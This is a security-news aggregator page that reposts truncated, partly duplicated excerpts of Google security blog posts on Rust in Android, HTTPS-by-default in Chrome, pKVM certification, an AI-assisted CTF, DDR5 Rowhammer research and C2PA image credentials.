When we look at development in systems languages (excluding Java and Kotlin), two trends emerge: a steep rise in Rust usage and a slower but steady decline in new C++.

 Net lines of code added: Rust vs. C++, first-party Android code.

This chart focuses on first-party (Google-developed) code (unlike the previous chart that included all first-party and third-party code in Android.) We only include systems languages, C/C++ (which is primarily C++), and Rust. 

The chart shows that the volume of new Rust code now rivals that of C++, enabling reliable comparisons of software development process metrics. To measure this, we use the DORA 1 framework, a decade-long research program that has become the industry standard for evaluating software engineering team performance. DORA metrics focus on:

 Throughput: the velocity of delivering software changes.

 Stability: the quality of those changes.

Cross-language comparisons can be challenging. We use several techniques to ensure the comparisons are reliable.

 Similar sized changes: Rust and C++ have similar functionality density, though Rust is slightly denser. This difference favors C++, but the comparison is still valid. We use Gerrit’s change size definitions .

 Similar developer pools: We only consider first-party changes from Android platform developers. Most are software engineers at Google, and there is considerable overlap between pools with many contributing in both.

 Track trends over time: As Rust adoption increases, are metrics changing steadily, accelerating the pace, or reverting to the mean? 

 Throughput

Code review is a time-consuming and high-latency part of the development process. Reworking code is a primary source of these costly delays. Data shows that Rust code requires fewer revisions. This trend has been consistent since 2023. Rust changes of a similar size need about 20% fewer revisions than their C++ counterparts.

In addition, Rust changes currently spend about 25% less time in code review compared to C++. We speculate that the significant change in favor of Rust between 2023 and 2024 is due to increased Rust expertise on the Android team.

While less rework and faster code reviews offer modest productivity gains, the most significant improvements are in the stability and quality of the changes.

 Stability

Stable and high-quality changes differentiate Rust. DORA uses rollback rate for evaluating change stability. Rust's rollback rate is very low and continues to decrease, even as its adoption in Android surpasses C++.

 For medium and large changes, the rollback rate of Rust changes in Android is ~4x lower than C++. This low rollback rate doesn't just indicate stability; it actively improves overall development throughput. Rollbacks are highly disruptive to productivity, introducing organizational friction and mobilizing resources far beyond the developer who submitted the faulty change. Rollbacks necessitate rework and more code reviews, can also lead to build respins, postmortems, and blockage of other teams. Resulting postmortems often introduce new safeguards that add even more development overhead.

In a self-reported survey from 2022 , Google software engineers reported that Rust is both easier to review and more likely to be correct. The hard data on rollback rates and review times validates those impressions.

 Putting it all together

Historically, security improvements often came at a cost. More security meant more process, slower performance, or delayed features, forcing trade-offs between security and other product goals. The shift to Rust is different: we are significantly improving security and key development efficiency and product stability metrics. 

 Expanding Our Reach

With Rust support now mature for building Android system services and libraries, we are focused on bringing its security and productivity advantages elsewhere. 

 Kernel: Android’s 6.12 Linux kernel is our first kernel with Rust support enabled and our first production Rust driver. More exciting projects are underway, such as our ongoing collaboration with Arm and Collabora on a Rust-based kernel-mode GPU driver .

 Firmware: The combination of high privilege, performance constraints, and limited applicability of many security measures makes firmware both high-risk, and challenging to secure. Moving firmware to Rust can yield a major improvement in security. We have been deploying Rust in firmware for years now , and even released tutorials , training , and code for the wider community. We’re particularly excited about our collaboration with Arm on Rusted Firmware-A .

 First-party applications: Rust is ensuring memory safety from the ground up in several security-critical Google applications, such as:

 Nearby Presence : The protocol for securely and privately discovering local devices over Bluetooth is implemented in Rust and is currently running in Google Play Services.

 MLS : The protocol for secure RCS messaging is implemented in Rust and will be included in the Google Messages app in a future release.

 Chromium: Parsers for PNG , JSON , and web fonts have been replaced with memory-safe implementations in Rust, making it easier for Chromium engineers to deal with data from the web while following the Rule of 2 .

These examples highlight Rust's role in reducing security risks, but memory-safe languages are only one part of a comprehensive memory safety strategy . We continue to employ a defense-in-depth approach, the value of which was clearly demonstrated in a recent near-miss.

 Our First Rust Memory Safety Vulnerability...Almost

We recently avoided shipping our very first Rust-based memory saf
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### HTTPS by default
https://kevwire.com/record/google-security-https-by-default-513c100f2f81
HTTPS by default (Oct 28, 2025).
One year from now, with the release of Chrome 154 in October 2026, we will change the default settings of Chrome to enable “Always Use Secure Connections”. This means Chrome will ask for the user's permission before the first access to any public site without HTTPS.

The “Always Use Secure Connections” setting warns users before accessing a site without HTTPS

 Chrome Security's mission is to make it safe to click on links. Part of being safe means ensuring that when a user types a URL or clicks on a link, the browser ends up where the user intended. When links don't use HTTPS, an attacker can hijack the navigation and force Chrome users to load arbitrary, attacker-controlled resources, and expose the user to malware, targeted exploitation, or social engineering attacks. Attacks like this are not hypothetical—software to hijack navigations is readily available and attackers have previously used insecure HTTP to compromise user devices in a targeted attack.

Since attackers only need a single insecure navigation, they don't need to worry that many sites have adopted HTTPS—any single HTTP navigation may offer a foothold. What's worse, many plaintext HTTP connections today are entirely invisible to users, as HTTP sites may immediately redirect to HTTPS sites. That gives users no opportunity to see Chrome's "Not Secure" URL bar warnings after the risk has occurred, and no opportunity to keep themselves safe in the first place.

To address this risk, we launched the “Always Use Secure Connections” setting in 2022 as an opt-in option. In this mode, Chrome attempts every connection over HTTPS, and shows a bypassable warning to the user if HTTPS is unavailable. We also previously discussed our intent to move towards HTTPS by default . We now think the time has come to enable “Always Use Secure Connections” for all users by default.

 Now is the time.

For more than a decade, Google has published the HTTPS transparency report , which tracks the percentage of navigations in C
Sources:
Google Security Research: HTTPS by default: https://security.googleblog.com/2025/10/https-by-default.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
One year from now, with the release of Chrome 154 in October 2026, we will change the default settings of Chrome to enable “Always Use Secure Connections”. This means Chrome will ask for the user's permission before the first access to any public site without HTTPS.

The “Always Use Secure Connections” setting warns users before accessing a site without HTTPS

 Chrome Security's mission is to make it safe to click on links. Part of being safe means ensuring that when a user types a URL or clicks on a link, the browser ends up where the user intended. When links don't use HTTPS, an attacker can hijack the navigation and force Chrome users to load arbitrary, attacker-controlled resources, and expose the user to malware, targeted exploitation, or social engineering attacks. Attacks like this are not hypothetical—software to hijack navigations is readily available and attackers have previously used insecure HTTP to compromise user devices in a targeted attack.

Since attackers only need a single insecure navigation, they don't need to worry that many sites have adopted HTTPS—any single HTTP navigation may offer a foothold. What's worse, many plaintext HTTP connections today are entirely invisible to users, as HTTP sites may immediately redirect to HTTPS sites. That gives users no opportunity to see Chrome's "Not Secure" URL bar warnings after the risk has occurred, and no opportunity to keep themselves safe in the first place.

To address this risk, we launched the “Always Use Secure Connections” setting in 2022 as an opt-in option. In this mode, Chrome attempts every connection over HTTPS, and shows a bypassable warning to the user if HTTPS is unavailable. We also previously discussed our intent to move towards HTTPS by default . We now think the time has come to enable “Always Use Secure Connections” for all users by default.

 Now is the time.

For more than a decade, Google has published the HTTPS transparency report , which tracks the percentage of navigations in Chrome that use HTTPS. For the first several years of the report, numbers saw an impressive climb, starting at around 30-45% in 2015, and ending up around the 95-99% range around 2020. Since then, progress has largely plateaued. 

HTTPS adoption expressed as a percentage of main frame page loads

This rise represents a tremendous improvement to the security of the web, and demonstrates that HTTPS is now mature and widespread. This level of adoption is what makes it possible to consider stronger mitigations against the remaining insecure HTTP.

 Balancing user safety with friction

While it may at first seem that 95% HTTPS means that the problem is mostly solved, the truth is that a few percentage points of HTTP navigations is still a lot of navigations. Since HTTP navigations remain a regular occurrence for most Chrome users, a naive approach to warning on all HTTP navigations would be quite disruptive. At the same time, as the plateau demonstrates, doing nothing would allow this risk to persist indefinitely. To balance these risks, we have taken steps to ensure that we can help the web move towards safer defaults, while limiting the potential annoyance warnings will cause to users. 

One way we're balancing risks to users is by making sure Chrome does not warn about the same sites excessively. In all variants of the "Always Use Secure Connections" settings, so long as the user regularly visits an insecure site, Chrome will not warn the user about that site repeatedly. This means that rather than warn users about 1 out of 50 navigations, Chrome will only warn users when they visit a new (or not recently visited) site without using HTTPS.

To further address the issue, it's important to understand what sort of traffic is still using HTTP. The largest contributor to insecure HTTP by far, and the largest contributor to variation across platforms, is insecure navigations to private sites. The graph above includes both those to public sites, such as example.com , and navigations to private sites, such as local IP addresses like 192.168.0.1 , single-label hostnames, and shortlinks like intranet/ . While it is free and easy to get an HTTPS certificate that is trusted by Chrome for a public site, acquiring an HTTPS certificate for a private site unfortunately remains complicated. This is because private names are "non-unique"—private names can refer to different hosts on different networks. There is no single owner of 192.168.0.1 for a certification authority to validate and issue a certificate to.

HTTP navigations to private sites can still be risky, but are typically less dangerous than their public site counterparts because there are fewer ways for an attacker to take advantage of these HTTP navigations. HTTP on private sites can only be abused by an attacker also on your local network, like on your home wifi or in a corporate network.

If you exclude navigations to private sites, then the distribution becomes much tighter across platforms. In particular, Linux jumps from 84% HTTPS to nearly 97% HTTPS when limiting the analysis to public sites only. Windows increases from 95% to 98% HTTPS, and both Android and Mac increase to over 99% HTTPS.

In recognition of the reduced risk HTTP to private sites represents, last year we introduced a variant of “Always Use Secure Connections” for public sites only . For users who frequently access private sites (such as those in enterprise settings, or web developers), excluding warnings on private sites significantly reduces the volume of warnings those users will see. Simultaneously, for users who do not access private sites frequently, this mode introduces only a small reduction in protection. This is the variant we intend to enable for all users next year.

 “Always Use Secure Connections,” available at chrome://settings/security 

In Chrome 141, we experimented with enabling “Always Use Secure Connections” for public sites by default for a small percentage of users. We wanted to validate our expectations that this setting keeps users safer without burdening them with excessive warnings. 

Analyzing the data from the experiment, we confirmed that the number of warnings seen by any users is considerably lower than 3% of navigations—in fact, the median user sees fewer than one warning per week, and the ninety-fifth percentile user sees fewer than three warnings per week..

 Understanding HTTP usage

Once “Always Use Secure Connections” is the default and additional sites migrate away from HTTP, we expect the actual warning volume to be even lower than it is now. In parallel to our experiments, we have reached out to a number of companies responsible for the most HTTP navigations, and expect that they will be able to migrate away from HTTP before the change in Chrome 154. For many of these organizations, transitioning to HTTPS isn't disproportionately hard, but simply has not received attention. For example, many of these sites use HTTP only for navigations that immediately redirect to HTTPS sites—an insecure interaction which was previously completely invisible to users.

Another current use case for HTTP is to avoid mixed content blocking when accessing devices on the local network. Private addresses, as discussed above, often do not have trusted HTTPS certificates, due to the difficulties of validating ownership of a non-unique name. This means most local network traffic is over HTTP, and cannot be initiated from an HTTPS page—the HTTP traffic counts as insecure mixed content , and is blocked. One common use case for needing to access the local network is to configure a local network device, e.g. the manufacturer might host a configuration portal at config.example.com , which then sends requests to a local device to configure it.

Previously, these types of pages needed to be hosted without HTTPS to avoid mixed content blocking. However, we recently introduced a local network access permission , which both prevents sites from accessing the user’s local
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Android’s pKVM Becomes First Globally Certified Software to Achieve Prestigious SESIP Level 5 Security Certification
https://kevwire.com/record/google-security-Android-pKVM-Certified-SESIP-Level-5-7746d02d4673
Android’s pKVM Becomes First Globally Certified Software to Achieve Prestigious SESIP Level 5 Security Certification (Aug 12, 2025).
Posted by Dave Kleidermacher, VP Engineering, Android Security & Privacy 

Today marks a watershed moment and new benchmark for open-source security and the future of consumer electronics. Google is proud to announce that protected KVM (pKVM), the hypervisor that powers the Android Virtualization Framework, has officially achieved SESIP Level 5 certification . This makes pKVM the first software security system designed for large-scale deployment in consumer electronics to meet this assurance bar. 

 Supporting Next-Gen Android Features 

The implications for the future of secure mobile technology are profound. With this level of security assurance, Android is now positioned to securely support the next generation of high-criticality isolated workloads. This includes vital features, such as on-device AI workloads that can operate on ultra-personalized data, with the highest assurances of privacy and integrity.

This certification required a hands-on evaluation by Dekra , a globally recognized cybersecurity certification lab, which conducted an evaluation against the TrustCB SESIP scheme , compliant to EN-17927 . Achieving Security Evaluation Standard for IoT Platforms (SESIP) Level 5 is a landmark because it incorporates AVA_VAN.5, the highest level of vulnerability analysis and penetration testing under the ISO 15408 (Common Criteria) standard. A system certified to this level has been evaluated to be resistant to highly skilled, knowledgeable, well-motivated, and well-funded attackers who may have insider knowledge and access.

This certification is the cornerstone of the next-generation of Android’s multi-layered security strategy. Many of the TEEs (Trusted Execution Environments) used in the industry have not been formally certified or have only achieved lower levels of security assurance. This inconsistency creates a challenge for developers looking to build highly critical applications that require a robust and verifiable level of security. The certified pKVM c
Sources:
Google Security Research: Android’s pKVM Becomes First Globally Certified Software to Achieve Prestigious SESIP Level 5 Security Certification: https://security.googleblog.com/2025/08/Android-pKVM-Certified-SESIP-Level-5.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Dave Kleidermacher, VP Engineering, Android Security & Privacy 

Today marks a watershed moment and new benchmark for open-source security and the future of consumer electronics. Google is proud to announce that protected KVM (pKVM), the hypervisor that powers the Android Virtualization Framework, has officially achieved SESIP Level 5 certification . This makes pKVM the first software security system designed for large-scale deployment in consumer electronics to meet this assurance bar. 

 Supporting Next-Gen Android Features 

The implications for the future of secure mobile technology are profound. With this level of security assurance, Android is now positioned to securely support the next generation of high-criticality isolated workloads. This includes vital features, such as on-device AI workloads that can operate on ultra-personalized data, with the highest assurances of privacy and integrity.

This certification required a hands-on evaluation by Dekra , a globally recognized cybersecurity certification lab, which conducted an evaluation against the TrustCB SESIP scheme , compliant to EN-17927 . Achieving Security Evaluation Standard for IoT Platforms (SESIP) Level 5 is a landmark because it incorporates AVA_VAN.5, the highest level of vulnerability analysis and penetration testing under the ISO 15408 (Common Criteria) standard. A system certified to this level has been evaluated to be resistant to highly skilled, knowledgeable, well-motivated, and well-funded attackers who may have insider knowledge and access.

This certification is the cornerstone of the next-generation of Android’s multi-layered security strategy. Many of the TEEs (Trusted Execution Environments) used in the industry have not been formally certified or have only achieved lower levels of security assurance. This inconsistency creates a challenge for developers looking to build highly critical applications that require a robust and verifiable level of security. The certified pKVM changes this paradigm entirely. It provides a single, open-source, and exceptionally high-quality firmware base that all device manufacturers can build upon.

Looking ahead, Android device manufacturers will be required to use isolation technology that meets this same level of security for various security operations that the device relies on. Protected KVM ensures that every user can benefit from a consistent, transparent, and verifiably secure foundation.

 A Collaborative Effort 

This achievement represents just one important aspect of the immense, multi-year dedication from the Linux and KVM developer communities and multiple engineering teams at Google developing pKVM and AVF . We look forward to seeing the open-source community and Android ecosystem continue to build on this foundation, delivering a new era of high-assurance mobile technology for users.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Accelerating adoption of AI for cybersecurity at DEF CON 33
https://kevwire.com/record/google-security-accelerating-adoption-of-ai-for-20a64891405d
Accelerating adoption of AI for cybersecurity at DEF CON 33 (Sep 24, 2025).
Posted by Elie Bursztein and Marianna Tishchenko, Google Privacy, Safety and Security Team 

 Empowering cyber defenders with AI is critical to tilting the cybersecurity balance back in their favor as they battle cybercriminals and keep users safe. To help accelerate adoption of AI for cybersecurity workflows, we partnered with Airbus at DEF CON 33 to host the GenSec Capture the Flag (CTF) , dedicated to human-AI collaboration in cybersecurity. Our goal was to create a fun, interactive environment, where participants across various skill levels could explore how AI can accelerate their daily cybersecurity workflows. 

 At GenSec CTF, nearly 500 participants successfully completed introductory challenges, with 23% of participants using AI for cybersecurity for the very first time. An overwhelming 85% of all participants found the event useful for learning how AI can be applied to security workflows. This positive feedback highlights that AI-centric CTFs can play a vital role in speeding up AI education and adoption in the security community. 

 The CTF also offered a valuable opportunity for the community to use Sec-Gemini , Google’s experimental Cybersecurity AI, as an optional assistant available in the UI alongside major LLMs. And we received great feedback on Sec-Gemini, with 77% of respondents saying that they had found Sec-Gemini either “very helpful” or “extremely helpful” in assisting them with solving the challenges. 

 We want to thank the DEF CON community for the enthusiastic participation and for making this inaugural event a resounding success. The community feedback during the event has been invaluable for understanding how to improve Sec-Gemini, and we are already incorporating some of the lessons learned into the next iteration. 

 We are committed to advancing the AI cybersecurity frontier and will continue working with the community to build tools that help protect people online. Stay tuned as we plan to share more research and key learnings from t
AI classification: defense; evidence: reported. The official teams report AI-assisted security detection, vulnerability discovery, or defender workflows. The result was not independently reproduced here and does not establish attacker AI use or universal effectiveness.
Sources:
Google Security Research: Accelerating adoption of AI for cybersecurity at DEF CON 33: https://security.googleblog.com/2025/09/accelerating-adoption-of-ai-for.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Elie Bursztein and Marianna Tishchenko, Google Privacy, Safety and Security Team 

 Empowering cyber defenders with AI is critical to tilting the cybersecurity balance back in their favor as they battle cybercriminals and keep users safe. To help accelerate adoption of AI for cybersecurity workflows, we partnered with Airbus at DEF CON 33 to host the GenSec Capture the Flag (CTF) , dedicated to human-AI collaboration in cybersecurity. Our goal was to create a fun, interactive environment, where participants across various skill levels could explore how AI can accelerate their daily cybersecurity workflows. 

 At GenSec CTF, nearly 500 participants successfully completed introductory challenges, with 23% of participants using AI for cybersecurity for the very first time. An overwhelming 85% of all participants found the event useful for learning how AI can be applied to security workflows. This positive feedback highlights that AI-centric CTFs can play a vital role in speeding up AI education and adoption in the security community. 

 The CTF also offered a valuable opportunity for the community to use Sec-Gemini , Google’s experimental Cybersecurity AI, as an optional assistant available in the UI alongside major LLMs. And we received great feedback on Sec-Gemini, with 77% of respondents saying that they had found Sec-Gemini either “very helpful” or “extremely helpful” in assisting them with solving the challenges. 

 We want to thank the DEF CON community for the enthusiastic participation and for making this inaugural event a resounding success. The community feedback during the event has been invaluable for understanding how to improve Sec-Gemini, and we are already incorporating some of the lessons learned into the next iteration. 

 We are committed to advancing the AI cybersecurity frontier and will continue working with the community to build tools that help protect people online. Stay tuned as we plan to share more research and key learnings from the CTF with the broader community.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Supporting Rowhammer research to protect the DRAM ecosystem
https://kevwire.com/record/google-security-supporting-rowhammer-research-to-be28db5256e2
Supporting Rowhammer research to protect the DRAM ecosystem (Sep 15, 2025).
Posted by Daniel Moghimi 

 Rowhammer is a complex class of vulnerabilities across the industry. It is a hardware vulnerability in DRAM where repeatedly accessing a row of memory can cause bit flips in adjacent rows, leading to data corruption. This can be exploited by attackers to gain unauthorized access to data, escalate privileges, or cause denial of service. Hardware vendors have deployed various mitigations, such as ECC and Target Row Refresh (TRR) for DDR5 memory, to mitigate Rowhammer and enhance DRAM reliability. However, the resilience of those mitigations against sophisticated attackers remains an open question. 

 To address this gap and help the ecosystem with deploying robust defenses, Google has supported academic research and developed test platforms to analyze DDR5 memory. Our effort has led to the discovery of new attacks and a deeper understanding of Rowhammer on the current DRAM modules, helping to forge the way for further, stronger mitigations. 

 What is Rowhammer? 

 Rowhammer exploits a vulnerability in DRAM. DRAM cells store data as electrical charges, but these electric charges leak over time, causing data corruption. To prevent data loss, the memory controller periodically refreshes the cells. However, if a cell discharges before the refresh cycle, its stored bit may corrupt. Initially considered a reliability issue, it has been leveraged by security researchers to demonstrate privilege escalation attacks. By repeatedly accessing a memory row, an attacker can cause bit flips in neighboring rows. An adversary can exploit Rowhammer via: 

 Reliably cause bit flips by repeatedly accessing adjacent DRAM rows. 

 Coerce other applications or the OS into using these vulnerable memory pages. 

 Target security-sensitive code or data to achieve privilege escalation. 

 Or simply corrupt system’s memory to cause denial of service . 

 Previous work has repeatedly demonstrated the possibility of such attacks from software [ Revisiting rowhammer , A
Sources:
Google Security Research: Supporting Rowhammer research to protect the DRAM ecosystem: https://security.googleblog.com/2025/09/supporting-rowhammer-research-to.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Daniel Moghimi 

 Rowhammer is a complex class of vulnerabilities across the industry. It is a hardware vulnerability in DRAM where repeatedly accessing a row of memory can cause bit flips in adjacent rows, leading to data corruption. This can be exploited by attackers to gain unauthorized access to data, escalate privileges, or cause denial of service. Hardware vendors have deployed various mitigations, such as ECC and Target Row Refresh (TRR) for DDR5 memory, to mitigate Rowhammer and enhance DRAM reliability. However, the resilience of those mitigations against sophisticated attackers remains an open question. 

 To address this gap and help the ecosystem with deploying robust defenses, Google has supported academic research and developed test platforms to analyze DDR5 memory. Our effort has led to the discovery of new attacks and a deeper understanding of Rowhammer on the current DRAM modules, helping to forge the way for further, stronger mitigations. 

 What is Rowhammer? 

 Rowhammer exploits a vulnerability in DRAM. DRAM cells store data as electrical charges, but these electric charges leak over time, causing data corruption. To prevent data loss, the memory controller periodically refreshes the cells. However, if a cell discharges before the refresh cycle, its stored bit may corrupt. Initially considered a reliability issue, it has been leveraged by security researchers to demonstrate privilege escalation attacks. By repeatedly accessing a memory row, an attacker can cause bit flips in neighboring rows. An adversary can exploit Rowhammer via: 

 Reliably cause bit flips by repeatedly accessing adjacent DRAM rows. 

 Coerce other applications or the OS into using these vulnerable memory pages. 

 Target security-sensitive code or data to achieve privilege escalation. 

 Or simply corrupt system’s memory to cause denial of service . 

 Previous work has repeatedly demonstrated the possibility of such attacks from software [ Revisiting rowhammer , Are we susceptible to rowhammer? , Drammer , Flip feng shui , Jolt ]. As a result, defending against Rowhammer is required for secure isolation in multi-tenant environments like the cloud. 

 Rowhammer Mitigations 

 The primary approach to mitigate Rowhammer is to detect which memory rows are being aggressively accessed and refreshing nearby rows before a bit flip occurs. TRR is a common example, which uses a number of counters to track accesses to a small number of rows adjacent to a potential victim row. If the access count for these aggressor rows reaches a certain threshold, the system issues a refresh to the victim row. TRR can be incorporated within the DRAM or in the host CPU. 

 However, this mitigation is not foolproof. For example, the TRRespass attack showed that by simultaneously hammering multiple, non-adjacent rows, TRR can be bypassed. Over the past couple of years, more sophisticated attacks [ Half-Double , Blacksmith ] have emerged, introducing more efficient attack patterns. 

 In response, one of our efforts was to collaborate with JEDEC , external researchers, and experts to define the PRAC as a new mitigation that deterministically detects Rowhammer by tracking all memory rows. 

 However, current systems equipped with DDR5 lack support for PRAC or other robust mitigations. As a result, they rely on probabilistic approaches such as ECC and enhanced TRR to reduce the risk. While these measures have mitigated older attacks, their overall effectiveness against new techniques was not fully understood until our recent findings . 

 Challenges with Rowhammer Assessment 

 Mitigating Rowhammer attacks involves making it difficult for an attacker to reliably cause bit flips from software. Therefore, for an effective mitigation, we have to understand how a determined adversary introduces memory accesses that bypass existing mitigations. Three key information components can help with such an analysis: 

 How the improved TRR and in-DRAM ECC work. 

 How memory access patterns from software translate into low-level DDR commands. 

 (Optionally) How any mitigations (e.g., ECC or TRR) in the host processor work. 

 The first step is particularly challenging and involves reverse-engineering the proprietary in-DRAM TRR mechanism, which varies significantly between different manufacturers and device models. This process requires the ability to issue precise DDR commands to DRAM and analyze its responses, which is difficult on an off-the-shelf system. Therefore, specialized test platforms are essential. 

 The second and third steps involve analyzing the DDR traffic between the host processor and the DRAM. This can be done using an off-the-shelf interposer, a tool that sits between the processor and DRAM. A crucial part of this analysis is understanding how a live system translates software-level memory accesses into the DDR protocol. 

 The third step, which involves analyzing host-side mitigations, is sometimes optional. For example, host-side ECC (Error Correcting Code) is enabled by default on servers, while host-side TRR has only been implemented in some CPUs. 

 Rowhammer testing platforms 

 For the first challenge, we partnered with Antmicro to develop two specialized, open-source FPGA-based Rowhammer test platforms. These platforms allow us to conduct in-depth testing on different types of DDR5 modules. 

 DDR5 RDIMM Platform: A new DDR5 Tester board to meet the hardware requirements of Registered DIMM (RDIMM) memory, common in server computers. 

 SO-DIMM Platform: A version that supports the standard SO-DIMM pinout compatible with off-the-shelf DDR5 SO-DIMM memory sticks, common in workstations and end-user devices. 

 Antmicro designed and manufactured these open-source platforms and we worked closely with them, and researchers from ETH Zurich, to test the applicability of these platforms for analyzing off-the-shelf memory modules in RDIMM and SO-DIMM forms. 

 Antmicro DDR5 RDIMM FPGA test platform in action. 

 Phoenix Attacks on DDR5 

 In collaboration with researchers from ETH, we applied the new Rowhammer test platforms to evaluate the effectiveness of current in-DRAM DDR5 mitigations. Our findings, detailed in the recently co-authored " Phoenix ” research paper, reveal that we successfully developed custom attack patterns capable of bypassing enhanced TRR (Target Row Refresh) defense on DDR5 memory. We were able to create a novel self-correcting refresh synchronization attack technique, which allowed us to perform the first-ever Rowhammer privilege escalation exploit on a standard, production-grade desktop system equipped with DDR5 memory. While this experiment was conducted on an off-the-shelf workstation equipped with recent AMD Zen processors and SK Hynix DDR5 memory, we continue to investigate the applicability of our findings to other hardware configurations. 

 Lessons learned 

 We showed that current mitigations for Rowhammer attacks are not sufficient, and the issue remains a widespread problem across the industry. They do make it more difficult “but not impossible” to carry out attacks, since an attacker needs an in-depth understanding of the specific memory subsystem architecture they wish to target. 

 Current mitigations based on TRR and ECC rely on probabilistic countermeasures that have insufficient entropy. Once an analyst understands how TRR operates, they can craft specific memory access patterns to bypass it. Furthermore, current ECC schemes were not designed as a security measure and are therefore incapable of reliably detecting errors. 

 Memory encryption is an alternative countermeasure for Rowhammer. However, our current assessment is that without cryptographic integrity, it offers no valuable defense against Rowhammer. More research is needed to develop viable, practical encryption and integrity solutions. 

 Path forward 

 Google has been a leader in JEDEC standardization efforts, for instance with PRAC , a fully approved standard to be s
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### How Pixel and Android are bringing a new level of trust to your images with C2PA Content Credentials
https://kevwire.com/record/google-security-pixel-android-trusted-images-c2pa-content-credentials-eb0d883ae789
How Pixel and Android are bringing a new level of trust to your images with C2PA Content Credentials (Sep 10, 2025).
Posted by Eric Lynch, Senior Product Manager, Android Security, and Sherif Hanna, Group Product Manager, Google C2PA Core 

At Made by Google 2025, we announced that the new Google Pixel 10 phones will support C2PA Content Credentials in Pixel Camera and Google Photos . This announcement represents a series of steps towards greater digital media transparency:

 The Pixel 10 lineup is the first to have Content Credentials built in across every photo created by Pixel Camera.

 The Pixel Camera app achieved Assurance Level 2 , the highest security rating currently defined by the C2PA Conformance Program. Assurance Level 2 for a mobile app is currently only possible on the Android platform .

 A private-by-design approach to C2PA certificate management, where no image or group of images can be related to one another or the person who created them.

 Pixel 10 phones support on-device trusted time-stamps, which ensures images captured with your native camera app can be trusted after the certificate expires, even if they were captured when your device was offline.

These capabilities are powered by Google Tensor G5 , Titan M2 security chip, the advanced hardware-backed security features of the Android platform, and Pixel engineering expertise. 

In this post, we’ll break down our architectural blueprint for bringing a new level of trust to digital media, and how developers can apply this model to their own apps on Android.

 A New Approach to Content Credentials 

Generative AI can help us all to be more creative, productive, and innovative. But it can be hard to tell the difference between content that’s been AI-generated, and content created without AI. The ability to verify the source and history—or provenance—of digital content is more important than ever.

Content Credentials convey a rich set of information about how media such as images, videos, or audio files were made, protected by the same digital signature technology that has secured online transactions and mobi
Sources:
Google Security Research: How Pixel and Android are bringing a new level of trust to your images with C2PA Content Credentials: https://security.googleblog.com/2025/09/pixel-android-trusted-images-c2pa-content-credentials.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Eric Lynch, Senior Product Manager, Android Security, and Sherif Hanna, Group Product Manager, Google C2PA Core 

At Made by Google 2025, we announced that the new Google Pixel 10 phones will support C2PA Content Credentials in Pixel Camera and Google Photos . This announcement represents a series of steps towards greater digital media transparency:

 The Pixel 10 lineup is the first to have Content Credentials built in across every photo created by Pixel Camera.

 The Pixel Camera app achieved Assurance Level 2 , the highest security rating currently defined by the C2PA Conformance Program. Assurance Level 2 for a mobile app is currently only possible on the Android platform .

 A private-by-design approach to C2PA certificate management, where no image or group of images can be related to one another or the person who created them.

 Pixel 10 phones support on-device trusted time-stamps, which ensures images captured with your native camera app can be trusted after the certificate expires, even if they were captured when your device was offline.

These capabilities are powered by Google Tensor G5 , Titan M2 security chip, the advanced hardware-backed security features of the Android platform, and Pixel engineering expertise. 

In this post, we’ll break down our architectural blueprint for bringing a new level of trust to digital media, and how developers can apply this model to their own apps on Android.

 A New Approach to Content Credentials 

Generative AI can help us all to be more creative, productive, and innovative. But it can be hard to tell the difference between content that’s been AI-generated, and content created without AI. The ability to verify the source and history—or provenance—of digital content is more important than ever.

Content Credentials convey a rich set of information about how media such as images, videos, or audio files were made, protected by the same digital signature technology that has secured online transactions and mobile apps for decades. It empowers users to identify AI-generated (or altered) content, helping to foster transparency and trust in generative AI. It can be complemented by watermarking technologies such as SynthID . 

Content Credentials are an industry standard backed by a broad coalition of leading companies for securely conveying the origin and history of media files. The standard is developed by the Coalition for Content Provenance and Authenticity (C2PA), of which Google is a steering committee member.

The traditional approach to classifying digital image content has focused on categorizing content as “AI” vs. “not AI”. This has been the basis for many legislative efforts , which have required the labeling of synthetic media. This traditional approach has drawbacks, as described in Chapter 5 of this seminal report by Google. Research shows that if only synthetic content is labeled as “AI”, then users falsely believe unlabeled content is “not AI”, a phenomenon called “the implied truth effect”. This is why Google is taking a different approach to applying C2PA Content Credentials. 

Instead of categorizing digital content into a simplistic “AI” vs. “not AI”, Pixel 10 takes the first steps toward implementing our vision of categorizing digital content as either i) media that comes with verifiable proof of how it was made or ii) media that doesn't. 

 Pixel Camera attaches Content Credentials to any JPEG photo capture, with the appropriate description as defined by the Content Credentials specification for each capture mode. 

 Google Photos attaches Content Credentials to JPEG images that already have Content Credentials and are edited using AI or non-AI tools, and also to any images that are edited using AI tools. It will validate and display Content Credentials under a new section in the About panel, if the JPEG image being viewed contains this data. Learn more about it in Google Photos Help .

Given the broad range of scenarios in which Content Credentials are attached by these apps, we designed our C2PA implementation architecture from the onset to be:

 Secure from silicon to applications 

 Verifiable, not personally identifiable 

 Useable offline 

 Secure from Silicon to Applications

Good actors in the C2PA ecosystem are motivated to ensure that provenance data is trustworthy. C2PA Certification Authorities (CAs), such as Google, are incentivized to only issue certificates to genuine instances of apps from trusted developers in order to prevent bad actors from undermining the system. Similarly, app developers want to protect their C2PA claim signing keys from unauthorized use. And of course, users want assurance that the media files they rely on come from where they claim. For these reasons, the C2PA defined the Conformance Program. 

